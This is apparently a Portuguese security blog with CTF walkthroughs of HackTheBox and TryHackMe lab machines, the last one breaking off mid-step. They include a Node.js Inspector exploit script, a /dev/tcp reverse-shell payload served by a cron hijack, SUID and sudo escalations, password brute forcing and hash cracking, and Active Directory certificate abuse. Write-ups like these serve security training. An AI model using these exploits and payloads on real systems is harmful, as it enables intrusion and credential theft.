OffSec

Reactor - HTB (Linux | Easy)

Sat, 30 May 2026 00:00:00 GMT

🏴 Reactor - HTB (Linux | Easy)

:::note Resumo Executivo

Target: 10.129.8.143
Dificuldade: Easy
Sistema Operacional: Linux
Vetor de Entrada: Credenciais administrativas padrão em sistema de monitoramento industrial.
Escalação de Privilégios: Execução de código arbitrário via Node.js Inspector rodando como root. :::

1. Reconhecimento e Enumeração

O processo de exploração iniciou-se com o mapeamento da superfície de ataque via Nmap. O objetivo foi identificar serviços expostos e suas respectivas versões.

nmap -sV -sC -Pn 10.129.8.143

Resultados Relevantes:

Porta 22/tcp: OpenSSH 9.6p1 (Linux)
Porta 3000/tcp: Aplicação Web utilizando o framework Next.js 15.0.3.

Ao acessar http://10.129.8.143:3000, fui apresentado ao ReactorWatch, um dashboard industrial para monitoramento de ativos críticos.

2. Foothold: Acesso Inicial

Através de uma fase de enumeração manual e consulta a base de dados de credenciais conhecidas para este tipo de dashboard, identifiquei um par de credenciais válido:

Username: engineer
Password: reactor1

Validei o acesso via SSH para obter uma shell interativa no sistema:

ssh engineer@10.129.8.143

User Flag: 🏴Flag🏴

3. Escalação de Privilégios (Privesc)

Após o acesso inicial, realizei uma auditoria nos processos locais e portas em escuta (localhost).

# Verificando serviços internos
ss -lntp

# Analisando processos Node.js
ps aux | grep node

Identifiquei uma instância do Node.js rodando com privilégios de root e o debugger ativado (--inspect) na porta 9229: root /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Exploração do Node.js Inspector

A flag --inspect permite que desenvolvedores conectem um debugger ao processo. Quando exposto localmente como root, torna-se um vetor crítico de RCE (Remote Code Execution).

A) Extração do Session UUID

Para interagir com o debugger, é necessário obter o identificador único da sessão:

curl -s http://127.0.0.1:9229/json

UUID extraído: 6bd67fb0-63ff-411d-a8af-251fcf8049a2

B) Injeção de Código via WebSocket

Devido à ausência de ferramentas de alto nível no alvo, utilizei um script Python minimalista para realizar o handshake do WebSocket e enviar um frame de execução de comando. O objetivo foi injetar o bit SUID no /bin/bash.

# exploit.py
import socket, struct, base64, json, sys

def trigger_rce(uuid):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('127.0.0.1', 9229))
    
    # WebSocket Handshake
    key = base64.b64encode(b'exploit').decode()
    handshake = (
        f'GET /{uuid} HTTP/1.1\r\n'
        'Host: 127.0.0.1:9229\r\n'
        'Upgrade: websocket\r\n'
        'Connection: Upgrade\r\n'
        f'Sec-WebSocket-Key: {key}\r\n'
        'Sec-WebSocket-Version: 13\r\n\r\n'
    )
    s.send(handshake.encode())
    s.recv(1024) 
    
    # Injeção: Atribuindo SUID ao bash
    cmd = 'process.mainModule.require("child_process").execSync("chmod u+s /bin/bash")'
    payload = json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": cmd}})
    
    # Construção do Frame WebSocket
    msg = payload.encode()
    length = len(msg)
    frame = b'\x81' + struct.pack('!B', length | 0x80) + b'\x00\x00\x00\x00' + msg
    s.send(frame)
    s.close()

if __name__ == "__main__":
    trigger_rce(sys.argv[1])

C) Execução e Root Shell

python3 exploit.py 6bd67fb0-63ff-411d-a8af-251fcf8049a2
/bin/bash -p

Root Flag: 🏴Flag🏴

4. Post-Mortem e Lições Aprendidas

Configurações Inseguras: Nunca exponha o Node.js Inspector em ambientes de produção, especialmente em processos privilegiados.
Enumeração Interna: Serviços rodando apenas em 127.0.0.1 costumam esconder as maiores vulnerabilidades de um sistema.
Living off the Land: A habilidade de escrever scripts puros (sem dependências externas) é crucial quando o ambiente de post-exploitation é restrito.

Cap - HTB (Linux | Easy)

Sat, 21 Feb 2026 00:00:00 GMT

🏴 Cap - HTB (Linux | Easy)

:::note Resumo da Máquina

IP: 10.129.2.2
SO: Linux (Ubuntu 20.04.2 LTS)
Vetor de Ataque: IDOR em dashboard web, captura de pacotes (PCAP) com credenciais em texto claro e escalação de privilégios via Linux Capabilities (cap_setuid). :::

Tags: #htb #linux #idor #pcap #capabilities #python

🛠️ Ferramentas Utilizadas

nmap
firefox
strings
tcpdump
ssh
getcap
python3

🔍 Fase 1: Reconhecimento

Nmap - Scan Inicial

nmap -sC -sV -oN nmap_initial.txt 10.129.2.2

Nmap - Scan Completo

nmap -p- --min-rate 5000 -oN nmap_full.txt 10.129.2.2

Porta 21: FTP (vsftpd 3.0.3)
Porta 22: SSH (OpenSSH 8.2p1)
Porta 80: HTTP (gunicorn)

🌐 Fase 2: Enumeração Web

A aplicação web é um dashboard de monitoramento. Ao explorar a funcionalidade "Security Snapshot", notamos que os IDs na URL são sequenciais e podem ser manipulados.

Descobrindo IDOR

Navegando pelos snapshots:

http://10.129.2.2/data/1
http://10.129.2.2/data/2

O ID 0 estava acessível e continha dados de outro usuário:

http://10.129.2.2/data/0

:::tip A vulnerabilidade permitiu acessar capturas de pacotes (PCAP) do sistema. :::

📦 Fase 3: Análise do PCAP

Baixamos o arquivo 0.pcap e analisamos em busca de credenciais transmitidas em protocolos não criptografados (como o FTP encontrado no scan).

Extraindo Credenciais

strings 0.pcap | grep -iE "USER|PASS"

USER nathan
PASS Buck3tH4TF0RM3!

Confirmando com tcpdump:

tcpdump -r 0.pcap -A port 21 2>/dev/null | grep -iE "USER|PASS"

🔐 Fase 4: Acesso Inicial (Password Reuse)

As credenciais do FTP funcionam para o acesso SSH do usuário nathan.

ssh nathan@10.129.2.2

USER FLAG PWNED 🎉

⬆️ Fase 5: Escalação de Privilégios

Enumerando capabilities binárias no sistema:

getcap -r / 2>/dev/null

Encontramos o binário do Python com a capability cap_setuid:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

Explorando cap_setuid

Utilizamos o Python para alterar o UID para 0 (root) e lançar um shell:

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

ROOT FLAG PWNED 👑

🗺️ Attack Path

┌──────────────────────────────────────────────────────────┐
│                                                          │
│  Nmap Scan                                               │
│  └── Portas 21 (FTP), 22 (SSH), 80 (HTTP)               │
│       │                                                  │
│       ▼                                                  │
│  Web Enumeration (IDOR)                                  │
│  └── Acesso a capturas de pacotes em /data/0             │
│       │                                                  │
│       ▼                                                  │
│  PCAP Analysis                                           │
│  └── Credenciais FTP (nathan : Buck3tH4TF0RM3!)          │
│       │                                                  │
│       ▼                                                  │
│  SSH Login (Password Reuse)                              │
│  └── nathan@cap                                          │
│       │                                                  │
│       ▼                                                  │
│  Privilege Escalation                                    │
│  └── getcap → python3.8 (cap_setuid)                     │
│       │                                                  │
│       ▼                                                  │
│  ROOT ACCESS! 🏆                                         │
│                                                          │
└──────────────────────────────────────────────────────────┘

Autor: felps Data: 21/02/2026 Plataforma: HackTheBox

Try Hack Me - OverPass

Sat, 06 Sep 2025 00:00:00 GMT

Try Hack Me - OverPass

:::note Resumo da Máquina

IP: 10.201.11.108
SO: Ubuntu Linux
Vetor de Ataque: Chave SSH privada exposta e protegida por senha fraca, escalação de privilégios via sequestro de tarefa Cron (Crontab Hijacking). :::

Tags: #ctf #walkthrough #nmap #gobuster #ssh #john #privesc #cron

1. Reconhecimento e Enumeração

O primeiro passo foi escanear a máquina alvo para identificar portas abertas e os serviços em execução.

1.1. Varredura com Nmap

Usei o Nmap com os scripts -sV (versão dos serviços) e -sC (scripts padrão) para uma enumeração inicial.

nmap -sV -sC 10.201.11.108

Resultado:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 11:27 -03
Nmap scan report for 10.201.11.108
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

:::tip Pontos de Interesse Encontrados:

Porta 22: SSH (OpenSSH 7.6p1)
Porta 80: HTTP (Golang net/http server) :::

1.2. Enumeração de Diretórios Web

Com um servidor web ativo na porta 80, o próximo passo foi procurar por diretórios e arquivos ocultos usando o GoBuster.

gobuster dir -u http://10.201.11.108/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt

Resultado:

===============================================================
Gobuster v3.8
===============================================================
[+] Url:                     http://10.201.11.108/
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Extensions:              php,txt
===============================================================
/img              (Status: 301) [Size: 0] [--> img/]
/downloads        (Status: 301) [Size: 0] [--> downloads/]
/aboutus          (Status: 301) [Size: 0] [--> aboutus/]
/admin            (Status: 301) [Size: 42] [--> /admin/]
/css              (Status: 301) [Size: 0] [--> css/]
===============================================================

O diretório /admin/ foi o achado mais promissor para a próxima fase de investigação.

2. Acesso Inicial (SSH)

Ao acessar o diretório /admin/, a página estava restrita. Manipulando os cookies no console do navegador, foi possível obter acesso.

Cookies.set("SessionToken","123");

Após definir o cookie e atualizar a página, uma chave SSH privada criptografada para um usuário chamado James foi revelada.

2.1. Quebrando a Senha da Chave SSH

A chave estava protegida por uma senha (passphrase). Para quebrá-la, utilizei o John the Ripper.

Salvar a chave em um arquivo chamado id_rsa e ajustar suas permissões.
```
chmod 600 id_rsa
```

Extrair o hash da chave usando o script ssh2john.py.

python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.hash

Quebrar o hash com o john e a wordlist rockyou.txt.

john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

Resultado:

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
...
james13          (id_rsa)     
...
Session completed.

:::important A senha da chave SSH foi descoberta: james13 :::

2.2. Obtendo Acesso

Com a chave privada (id_rsa) e a senha (james13), realizei o login via SSH.

ssh -i id_rsa james@10.201.11.108

Após inserir a senha james13, o acesso ao shell como usuário james foi concedido.

2.3. Capturando a Flag do Usuário

Com o acesso inicial, procurei pela flag user.txt.

james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt

:::important user.txt: thm{...user_flag...} :::

3. Escalação de Privilégios

Para obter acesso root, foi necessário encontrar um vetor de escalação de privilégios no sistema. A enumeração foi feita com o script lse.sh.

3.1. Identificando o Vetor (Cron Job)

A análise do lse.sh e a verificação manual do arquivo /etc/crontab revelaram uma tarefa agendada (cron job) vulnerável, executada a cada minuto como root.

james@overpass-prod:~$ cat /etc/crontab
...
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

A tarefa baixa e executa um script de overpass.thm. A estratégia é sequestrar essa requisição, fazendo com que o domínio overpass.thm aponte para a nossa máquina de ataque.

3.2. Exploração (Crontab Hijacking)

Modificar o /etc/hosts na máquina alvo: Adicionei uma entrada para que overpass.thm resolvesse para o IP da minha máquina (10.9.1.139).
```
# Na máquina alvo (james@overpass-prod)
echo "10.9.1.139 overpass.thm" >> /etc/hosts
```
Preparar o payload na máquina do atacante: Criei a estrutura de diretórios esperada e um buildscript.sh com um payload de reverse shell.
```
echo "bash -i >& /dev/tcp/10.9.1.139/4444 0>&1" > buildscript.sh
```
Servir o payload e iniciar o listener: Iniciei um servidor web simples para hospedar o script e um listener com netcat para receber a conexão.
```
# Na máquina do atacante (no diretório ~/)
python3 -m http.server 80

# Em outro terminal
nc -lvnp 4444
```

Receber o shell root: Quando o cron job executou (dentro de um minuto), ele baixou e executou nosso script malicioso, resultando em um shell reverso como root.

listening on [any] 4444 ...
connect to [10.9.1.139] from (UNKNOWN) [10.201.11.108] 58676
bash: cannot set terminal process group (20057): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~#

3.3. Capturando a Flag Root

Agora como root, bastou ler a flag final.

root@overpass-prod:~# cat /root/root.txt

:::important root.txt: thm{..root_flag...} :::

TryHackMe - Brute It

Sat, 06 Sep 2025 00:00:00 GMT

TryHackMe - Brute It

:::note Resumo da Máquina

IP: 10.201.48.203
SO: Ubuntu Linux
Vetor de Ataque: Brute force em painel de administração web, revelando uma chave SSH privada. A senha da chave foi quebrada, e a escalação de privilégios foi obtida explorando uma permissão inadequada no sudo que permitia a leitura do arquivo /etc/shadow. :::

Tags: #ctf #walkthrough #tryhackme #nmap #gobuster #hydra #ssh #john #privesc #sudo

1. Reconhecimento e Enumeração

O primeiro passo, como sempre, é realizar um reconhecimento completo do alvo para identificar vetores de ataque em potencial.

1.1. Varredura com Nmap

Utilizei o Nmap com a flag -sV para detectar as versões dos serviços em execução nas portas abertas.

nmap -sV 10.201.48.203

Resultado:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 18:40 -03
Nmap scan report for 10.201.48.203
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

:::tip Pontos de Interesse Encontrados:

Porta 22: SSH (OpenSSH 7.6p1)
Porta 80: HTTP (Apache httpd 2.4.29) :::

1.2. Enumeração de Diretórios Web

Com um servidor Apache rodando, o próximo passo foi buscar por diretórios e páginas ocultas. Utilizei o GoBuster para essa tarefa.

gobuster dir -u http://10.201.48.203/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

O GoBuster rapidamente identificou um diretório promissor: /admin.

2. Acesso Inicial

A fase de acesso inicial focou em explorar o painel de administração encontrado na porta 80.

2.1. Análise do Painel de Administração

Ao acessar http://10.201.48.203/admin, encontrei uma página de login. Inspecionando o código-fonte da página, uma dica crucial foi revelada em um comentário HTML.

Isso confirmou dois nomes de usuário em potencial: john e admin. O formulário indicava que admin era o usuário do painel.

2.2. Brute Force com Hydra

Sabendo o nome de usuário (admin) e a URL do formulário, realizei um ataque de força bruta com o Hydra para descobrir a senha.

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.201.48.203 http-post-form "/admin/:user=^USER^&pass=^PASS^:Username or password invalid"

Resultado:

[80][http-post-form] host: 10.201.48.203   login: admin   password: xavier

:::important As credenciais do painel de administração foram descobertas: admin:xavier :::

2.3. Obtendo e Quebrando a Chave SSH

Após o login no painel com as credenciais encontradas, a página revelou uma chave SSH privada, provavelmente pertencente ao usuário john. A chave estava protegida por uma senha (passphrase).

Para obter acesso, precisei quebrar essa senha usando o John the Ripper.

Salvar a chave em um arquivo chamado id_rsa.
Extrair o hash da chave usando ssh2john.
```
ssh2john id_rsa > hash.txt
```

Quebrar o hash com o john e a wordlist rockyou.txt.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Resultado:

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
...
rockinroll       (id_rsa)       
...
Session completed.

:::important A senha da chave SSH de John foi descoberta: rockinroll :::

2.4. Obtendo Acesso e Capturando a Flag do Usuário

Com a chave privada (id_rsa), o nome de usuário (john) e a senha da chave (rockinroll), o acesso via SSH foi possível.

Ajustar as permissões da chave privada.
```
chmod 600 id_rsa
```
Conectar-se via SSH.
```
ssh -i id_rsa john@10.201.48.203
```

Após inserir a senha rockinroll, o acesso ao shell como usuário john foi concedido. Com isso, foi simples capturar a flag do usuário.

john@bruteit:~$ ls
user.txt
john@bruteit:~$ cat user.txt

:::important user.txt: thm{...user_flag...} :::

3. Escalação de Privilégios

Com acesso como john, o próximo passo foi escalar os privilégios para root.

3.1. Identificando o Vetor (`sudo`)

A primeira e mais importante verificação foi checar as permissões sudo do usuário john.

john@bruteit:~$ sudo -l

Resultado:

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat

Esta foi a descoberta crítica. O usuário john pode executar o comando /bin/cat como root e sem precisar de senha. Isso permite a leitura de qualquer arquivo no sistema.

3.2. Exploração e Quebra da Senha Root

A estratégia foi usar essa permissão para ler o arquivo /etc/shadow, que contém os hashes das senhas de todos os usuários.

Ler o conteúdo do /etc/shadow como root.
```
sudo cat /etc/shadow
```

Copiar o hash da senha do usuário root.

root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::

Salvar o hash em um arquivo (hash_root.txt) na máquina local e usar o John the Ripper para quebrá-lo.

john --wordlist=/usr/share/wordlists/rockyou.txt hash_root.txt

Resultado:

...
football         (root)         
...
Session completed.

:::important A senha do usuário root foi descoberta: football :::

3.3. Obtendo Acesso Root e Capturando a Flag

Com a senha do root em mãos, bastou usar o comando su para se tornar o superusuário.

john@bruteit:~$ su -
Password: 
root@bruteit:~#

Após digitar a senha football, o acesso root foi obtido. A etapa final foi ler a flag.

root@bruteit:~# cat /root/root.txt

:::important root.txt: thm{...user_flag...} :::

Try Hack Me - RootMe

Thu, 04 Sep 2025 00:00:00 GMT

Try Hack Me - RootMe

:::note Resumo da Máquina

IP: 10.10.2.78
SO: Ubuntu Linux
Vetor de Ataque: Upload de shell reverso PHP, escalação de privilégios via SUID em Python 2.7. :::

Tags: #ctf #walkthrough #nmap #gobuster #reverseshell #privesc #suid

1. Reconhecimento e Enumeração

O primeiro passo foi escanear a máquina alvo para identificar portas abertas e os serviços em execução.

1.1. Varredura com Nmap

Usei o Nmap com o script -sV para detectar as versões dos serviços.

nmap -sV 10.10.2.78

Resultado:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 19:18 -03
Nmap scan report for 10.10.2.78
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

:::tip Pontos de Interesse Encontrados:

Porta 22: SSH (OpenSSH 8.2p1)
Porta 80: HTTP (Apache httpd 2.4.41) :::

1.2. Enumeração de Diretórios Web

Com um servidor web ativo, o próximo passo foi procurar por diretórios e arquivos ocultos usando o GoBuster.

gobuster dir -u http://10.10.2.78/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Resultado:

/uploads              (Status: 301) [Size: 310] [--> http://10.10.2.78/uploads/]
/css                  (Status: 301) [Size: 306] [--> http://10.10.2.78/css/]
/js                   (Status: 301) [Size: 305] [--> http://10.10.2.78/js/]
/panel                (Status: 301) [Size: 308] [--> http://10.10.2.78/panel/]

O diretório /panel/ parece ser o mais promissor para investigação.

2. Acesso Inicial (Shell Reverso)

Ao investigar o diretório /panel/, encontrei um formulário de upload. A estratégia foi enviar um shell reverso em PHP para ganhar acesso à máquina.

2.1. Preparando o Payload

Utilizei o conhecido script php-reverse-shell do Pentestmonkey.

:::warning Modificação Necessária: O servidor não executava arquivos com a extensão .php. Foi necessário renomear o payload para shell.php5 para que o upload e a execução funcionassem. :::

2.2. Execução

Iniciei um listener na minha máquina local com netcat para receber a conexão reversa:
```
nc -lvnp 1234
```
Fiz o upload do arquivo shell.php5 através do formulário e o acessei pelo navegador (provavelmente em /uploads/shell.php5).

O listener recebeu a conexão, concedendo um shell como o usuário www-data:

listening on [any] 1234 ...
connect to [10.9.1.139] from (UNKNOWN) [10.10.2.78] 40272
Linux ip-10-10-2-78 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
22:53:43 up 37 min,  0 users,  load average: 0.00, 0.00, 0.00
uid=33(www-data) gid=33(www-data) groups=33(www-data)    /bin/sh: 0: can't access tty; job control turned off

2.3. Capturando a Flag do Usuário

Com o acesso inicial, procurei pela flag user.txt.

$ find / -type f -name "user.txt" 2>/dev/null
/var/www/user.txt
$ cat /var/www/user.txt

:::important user.txt: THM{...user_flag...} :::

3. Escalação de Privilégios

O objetivo final é obter acesso root. Para isso, procurei por vetores de escalação de privilégios, começando com binários que possuem a permissão SUID.

3.1. Identificando o Vetor

Usei o comando find para listar todos os arquivos no sistema com o bit SUID ativado.

$ find / -perm -4000 -type f 2>/dev/null

Um resultado se destacou:

/usr/bin/python2.7

O binário /usr/bin/python2.7 com permissão SUID é um vetor conhecido de escalação de privilégios.

3.2. Exploração com GTFOBins

O site GTFOBins possui o comando exato para explorar essa vulnerabilidade e obter um shell com os privilégios do dono do arquivo (neste caso, root).

Executei o seguinte comando no shell www-data:

$ /usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

O parâmetro -p no sh garante que o effective user ID seja mantido, resultando em um shell de root.

3.3. Capturando a Flag Root

Agora como root, bastou encontrar e ler a flag final.

find / -type f -name "root.txt" 2>/dev/null
/root/root.txt
cat /root/root.txt

:::important root.txt: THM{...root_flag...} :::

TryHackMe - Simple CTF

Tue, 25 Feb 2025 00:00:00 GMT

TryHackMe - Simple CTF

:::note Resumo da Máquina

IP: 10.201.34.55
SO: Ubuntu Linux
Vetor de Ataque: SQL Injection no CMS Made Simple (CVE-2019-9053) para obter credenciais, seguido de escalação de privilégios via sudo vim. :::

Tags: #ctf #walkthrough #nmap #sqli #cve #vim #privesc

1. Reconhecimento e Enumeração

O reconhecimento inicial revelou um firewall que filtra a maioria das portas. Foi necessário um escaneamento mais robusto para identificar os serviços em execução.

1.1. Varredura com Nmap

Após tentativas iniciais com resultados filtrados, utilizei um escaneamento Nmap mais completo para garantir a descoberta dos serviços. Os parâmetros -sC (scripts padrão), -sV (versões) e -Pn (ignorar descoberta de host) foram essenciais.

nmap -T4 -sC -sV -Pn -oN nmap/initial 10.201.34.55

Resultado:

Nmap scan report for 10.201.34.55
Host is up (0.29s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|_  ...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

:::tip Pontos de Interesse Encontrados:

Porta 21: FTP (vsftpd 3.0.3) com login anônimo habilitado.
Porta 80: HTTP (Apache httpd 2.4.18).
Porta 2222: SSH (OpenSSH 7.2p2) - A porta de serviço mais alta. :::

1.2. Enumeração de Diretórios Web

Para explorar o servidor web, usei o GoBuster para encontrar diretórios ocultos.

gobuster dir -u http://10.201.34.55 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

O resultado mais relevante foi o diretório /simple.

2. Exploração (SQL Injection)

2.1. Identificação da Vulnerabilidade

Ao acessar http://10.201.34.55/simple, o rodapé da página revelou a tecnologia e a versão em uso: CMS Made Simple version 2.2.8.

Uma rápida pesquisa por essa versão levou à descoberta de uma vulnerabilidade de SQL Injection não autenticada, registrada como CVE-2019-9053.

2.2. Execução do Exploit

Encontrei um script de exploração funcional no GitHub. O script permite extrair o hash da senha do administrador e, em seguida, quebrá-lo usando uma wordlist.

python3 exploit.py -u http://10.201.34.55/simple --crack -w /usr/share/wordlists/rockyou.txt

Resultado do Exploit:

[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

As credenciais obtidas foram mitch:secret.

3. Acesso Inicial e Enumeração Interna

Com as credenciais em mãos, o próximo passo foi acessar a máquina via SSH na porta 2222.

3.1. Conexão SSH

ssh mitch@10.201.34.55 -p 2222

3.2. Capturando a Flag do Usuário

Após o login, a flag do usuário estava no diretório home.

$ ls
user.txt
$ cat user.txt

:::important user.txt: ...user_flag... :::

3.3. Enumeração de Usuários

Verifiquei o diretório /home e encontrei outro usuário na máquina.

$ pwd
/home/mitch
$ cd ..
$ ls
mitch  sunbath

O outro usuário é o sunbath.

4. Escalação de Privilégios

Para obter acesso root, verifiquei as permissões de sudo do usuário mitch.

4.1. Identificando o Vetor

O comando sudo -l revela o que um usuário pode executar como superusuário.

$ sudo -l

:::warning Vetor Encontrado: O usuário mitch pode executar o editor de texto Vim como root e sem precisar de senha (NOPASSWD). :::

4.2. Obtendo um Shell Root

O Vim pode ser usado para executar comandos do sistema. O site GTFOBins mostra como explorar essa permissão para obter um shell.

Executei o seguinte comando para abrir um shell como root a partir do Vim:

$ sudo vim -c ':!/bin/sh'

Isso me deu um shell com privilégios de root.

id
uid=0(root) gid=0(root) groups=0(root)

4.3. Capturando a Flag Root

Finalmente, naveguei até o diretório /root para encontrar a última flag.

cd /root
ls
root.txt
cat root.txt

:::important root.txt: ...root_flag...! :::

Fluffy Machine - HTB (Windows | Easy)

Mon, 15 Jan 2024 00:00:00 GMT

Fluffy Machine - HTB (Windows | Easy)

:::note Resumo da Máquina

IP: 10.10.11.69
SO: Windows
Vetor de Ataque: Enumeração de Active Directory, captura de hash NTLMv2, e escalação de privilégios via AD CS (Shadow Credentials & ESC16). :::

Tags: #activedirectory #windows #adcs #bloodhound #pywhisker #certipy #shadowcredentials #esc16

👤 Credenciais Iniciais

Usuário: j.fleischman
Senha: J0elTHEM4n1990!

🛠️ Ferramentas Utilizadas

nmap
smbclient
bloodhound
pywhisker
evil-winrm
impacket
hashcat
ntpdate

⚠️ Erro: Clock skew too great

Um problema comum em ambientes AD é a dessincronização de horário entre a máquina atacante e o alvo. Isso pode ser corrigido com o comando:

ntpdate 10.10.11.69

🔎 Enumeração Inicial

Scan com Nmap

nmap -T4 -p- -v -A -P0 10.10.11.69 -oX fluffy_tcp.scan --webxml

Domínio: FLUFFY.HTB
Domain Controller (DC): DC01.FLUFFY.HTB

📁 Enumeração SMB

Com as credenciais iniciais, listamos os compartilhamentos disponíveis no servidor.

smbclient -L //10.10.11.69 -U j.fleischman --password='J0elTHEM4n1990!'

Shares encontrados: ADMIN$, C$, IPC$, IT, NETLOGON, SYSVOL

O share IT parece promissor. Vamos acessá-lo:

smbclient //10.10.11.69/IT -U j.fleischman --password='J0elTHEM4n1990!'

Arquivos encontrados no share:

Everything-1.4.1.1026.x64/
Everything-1.4.1.1026.x64.zip
KeePass-2.58/
KeePass-2.58.zip
Upgrade_Notice.pdf ← Arquivo chave!

📝 Análise do PDF e Captura de Hash

O arquivo Upgrade_Notice.pdf menciona várias CVEs, com destaque para a CVE-2025-24071. Esta vulnerabilidade permite a captura de hashes NTLMv2 ao forçar uma autenticação contra um listener SMB malicioso.

Após explorar a falha, o hash do usuário p.agila foi capturado.

🔐 Cracking NTLMv2 com Hashcat

O hash capturado foi quebrado com sucesso, revelando a seguinte credencial:

Usuário: p.agila
Senha: prometheusx-303

🧠 Análise com BloodHound

bloodhound-python -d FLUFFY.HTB -u j.fleischman -p "J0elTHEM4n1990!" -gc dc01.fluffy.htb -c all -ns 10.10.11.69

A análise do BloodHound revelou um caminho de privilégio interessante:

p.agila ∈ SERVICE ACCOUNT MANAGERS
SERVICE ACCOUNT MANAGERS → GenericAll → SERVICE ACCOUNTS
SERVICE ACCOUNTS → GenericWrite → ca_svc, ldap_svc, winrm_svc

Isso significa que p.agila pode se adicionar ao grupo "SERVICE ACCOUNTS" e então modificar as contas de serviço.

Adicionando p.agila ao Grupo

net rpc group addmem "SERVICE ACCOUNTS" "p.agila" -U "FLUFFY.HTB/p.agila"%"prometheusx-303" -S "DC01.FLUFFY.HTB"

🧙 Abuso de Shadow Credentials (pywhisker)

Com as novas permissões, podemos usar pywhisker para adicionar credenciais alternativas (Shadow Credentials) à conta de serviço winrm_svc e nos autenticar como ela.

pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "add"

gettgtpkinit -cert-pem oBwGyENT_cert.pem -key-pem oBwGyENT_priv.pem fluffy.htb/winrm_svc winrm_svc.ccache
export KRB5CCNAME=winrm_svc.ccache

📡 Acesso Inicial com Evil-WinRM

Agora, com um TGT para winrm_svc, podemos obter seu hash NT e usar Evil-WinRM para ganhar um shell.

getnthash -key <key> fluffy.htb/winrm_svc
evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767

USER FLAG PWNED 🎉

🔐 Escalada de Privilégio (ESC16 via Certipy)

:::warning É crucial usar uma versão atualizada do Certipy, clonada diretamente do GitHub, para que a vulnerabilidade ESC16 funcione corretamente. :::

A mesma permissão de GenericWrite sobre contas de serviço se aplica a ca_svc. Vamos explorar isso para escalar privilégios para Administrador.

1. Obter Hash NT de ca_svc

certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto

Hash NT obtido: ca0f4f9e9eb8a092addf53bb03fc98c8

2. Verificar Vulnerabilidade ESC16

certipy-ad find -vulnerable -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -stdout

3. Alterar UPN de 'ca_svc' para 'Administrator'

